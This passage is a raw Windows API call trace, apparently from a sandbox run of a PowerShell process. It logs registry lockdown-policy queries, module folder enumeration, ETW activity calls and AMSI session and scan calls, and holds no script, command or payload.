lpType=0x99ae180*=0x0, lpData=0x0, lpcbData=0x99ae17c*=0x0) returned 0x2 [0121.806] RegCloseKey (hKey=0x860) returned 0x0 [0121.806] CoTaskMemAlloc (cb=0x20c) returned 0x8e55628 [0121.806] GetSystemDirectoryW (in: lpBuffer=0x8e55628, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.806] CoTaskMemFree (pv=0x8e55628) [0121.806] WldpGetLockdownPolicy () returned 0x0 [0121.806] GetSystemInfo (in: lpSystemInfo=0x99ae1b8 | out: lpSystemInfo=0x99ae1b8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0121.806] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae144 | out: phkResult=0x99ae144*=0x81c) returned 0x0 [0121.806] RegQueryValueExW (in: hKey=0x81c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae160, lpData=0x0, lpcbData=0x99ae15c*=0x0 | out: lpType=0x99ae160*=0x0, lpData=0x0, lpcbData=0x99ae15c*=0x0) returned 0x2 [0121.806] RegCloseKey (hKey=0x81c) returned 0x0 [0121.807] CloseHandle (hObject=0x860) returned 1 [0121.808] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0121.808] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.808] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 0 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 0 [0121.809] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.809] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.811] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 1 [0121.811] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99aded0 | out: lpFindFileData=0x99aded0) returned 0 [0121.811] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.811] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.811] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.812] FindNextFileW (in: hFindFile=0x8e85338, lpFindFileData=0x99adf1c | out: lpFindFileData=0x99adf1c) returned 1 [0121.813] FindNextFileW (in: hFindFile=0x8e852b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 1 [0121.813] FindNextFileW (in: hFindFile=0x8e852b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 0 [0121.813] CoTaskMemAlloc (cb=0x20c) returned 0x8e53e70 [0121.813] GetSystemDirectoryW (in: lpBuffer=0x8e53e70, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.813] CoTaskMemFree (pv=0x8e53e70) [0121.813] WldpGetLockdownPolicy () returned 0x0 [0121.813] GetSystemInfo (in: lpSystemInfo=0x99ae1d8 | out: lpSystemInfo=0x99ae1d8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0121.813] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae164 | out: phkResult=0x99ae164*=0x860) returned 0x0 [0121.814] RegQueryValueExW (in: hKey=0x860, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae180, lpData=0x0, lpcbData=0x99ae17c*=0x0 | out: lpType=0x99ae180*=0x0, lpData=0x0, lpcbData=0x99ae17c*=0x0) returned 0x2 [0121.814] RegCloseKey (hKey=0x860) returned 0x0 [0121.814] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae1a0*=0) returned 0x1000 [0121.814] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae1a0*=0) returned 0x2000 [0121.815] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae1a0*=0) returned 0x3000 [0121.815] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae1a0*=0) returned 0x35e5 [0121.815] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae1a0*=0) returned 0x35e5 [0121.815] CoTaskMemAlloc (cb=0x20c) returned 0x8e54938 [0121.815] GetSystemDirectoryW (in: lpBuffer=0x8e54938, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.815] CoTaskMemFree (pv=0x8e54938) [0121.815] WldpGetLockdownPolicy () returned 0x0 [0121.815] GetSystemInfo (in: lpSystemInfo=0x99ae1b8 | out: lpSystemInfo=0x99ae1b8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0121.815] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae144 | out: phkResult=0x99ae144*=0x81c) returned 0x0 [0121.815] RegQueryValueExW (in: hKey=0x81c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae160, lpData=0x0, lpcbData=0x99ae15c*=0x0 | out: lpType=0x99ae160*=0x0, lpData=0x0, lpcbData=0x99ae15c*=0x0) returned 0x2 [0121.816] RegCloseKey (hKey=0x81c) returned 0x0 [0121.816] CloseHandle (hObject=0x860) returned 1 [0121.817] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0121.818] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.818] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.818] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.818] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.818] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 0 [0121.818] FindClose (in: hFindFile=0x8e857f8 | out: hFindFile=0x8e857f8) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99adfc8 | out: lpFindFileData=0x99adfc8) returned 0 [0121.819] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x8e854b8, lpFindFileData=0x99ae014 | out: lpFindFileData=0x99ae014) returned 0 [0121.820] FindClose (in: hFindFile=0x8e854b8 | out: hFindFile=0x8e854b8) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae10c | out: lpFindFileData=0x99ae10c) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae10c | out: lpFindFileData=0x99ae10c) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae10c | out: lpFindFileData=0x99ae10c) returned 0 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.824] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 0 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.826] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.827] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae0c0 | out: lpFindFileData=0x99ae0c0) returned 1 [0121.845] CoTaskMemAlloc (cb=0x20e) returned 0x8e551d8 [0121.845] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e551d8, nSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x0 [0121.845] CoTaskMemFree (pv=0x8e551d8) [0121.845] CoTaskMemAlloc (cb=0x20e) returned 0x8e54fb0 [0121.845] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e54fb0, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x0 [0121.845] CoTaskMemFree (pv=0x8e54fb0) [0121.845] CoCreateGuid (in: pguid=0x99ae494 | out: pguid=0x99ae494*(Data1=0x4a4e4e76, Data2=0x8ade, Data3=0x4e54, Data4=([0]=0xa3, [1]=0xa, [2]=0x52, [3]=0x45, [4]=0x80, [5]=0x99, [6]=0x43, [7]=0x2d))) returned 0x0 [0121.845] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x860 [0121.845] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x81c [0121.845] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x850 [0121.845] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x868 [0121.845] AmsiCloseSession () returned 0x475aaa0 [0121.845] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x870 [0121.846] SetThreadUILanguage (LangId=0x0) returned 0x409 [0121.846] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae13c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae13c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.846] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae09c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae09c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.846] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae12c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae12c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.847] CoTaskMemAlloc (cb=0x20c) returned 0x8e55400 [0121.847] GetSystemDirectoryW (in: lpBuffer=0x8e55400, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.847] CoTaskMemFree (pv=0x8e55400) [0121.848] WldpGetLockdownPolicy () returned 0x0 [0121.848] GetSystemInfo (in: lpSystemInfo=0x99adbf8 | out: lpSystemInfo=0x99adbf8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0121.848] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99adb84 | out: phkResult=0x99adb84*=0x864) returned 0x0 [0121.848] RegQueryValueExW (in: hKey=0x864, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99adba0, lpData=0x0, lpcbData=0x99adb9c*=0x0 | out: lpType=0x99adba0*=0x0, lpData=0x0, lpcbData=0x99adb9c*=0x0) returned 0x2 [0121.848] RegCloseKey (hKey=0x864) returned 0x0 [0121.869] CoTaskMemAlloc (cb=0x20c) returned 0x8e54098 [0121.869] GetSystemDirectoryW (in: lpBuffer=0x8e54098, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.869] CoTaskMemFree (pv=0x8e54098) [0121.869] WldpGetLockdownPolicy () returned 0x0 [0121.869] GetSystemInfo (in: lpSystemInfo=0x99adb54 | out: lpSystemInfo=0x99adb54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0121.869] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99adae0 | out: phkResult=0x99adae0*=0x844) returned 0x0 [0121.870] RegQueryValueExW (in: hKey=0x844, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99adafc, lpData=0x0, lpcbData=0x99adaf8*=0x0 | out: lpType=0x99adafc*=0x0, lpData=0x0, lpcbData=0x99adaf8*=0x0) returned 0x2 [0121.870] RegCloseKey (hKey=0x844) returned 0x0 [0121.870] CloseHandle (hObject=0x864) returned 1 [0121.870] CoCreateGuid (in: pguid=0x99adbc0 | out: pguid=0x99adbc0*(Data1=0x75496c86, Data2=0xe064, Data3=0x49ce, Data4=([0]=0x88, [1]=0x3f, [2]=0xdb, [3]=0xc0, [4]=0xb3, [5]=0xc, [6]=0x22, [7]=0x73))) returned 0x0 [0121.870] AmsiOpenSession () returned 0x0 [0121.870] AmsiScanString () returned 0x80070015 [0121.873] CoTaskMemAlloc (cb=0x20e) returned 0x8e55850 [0121.873] 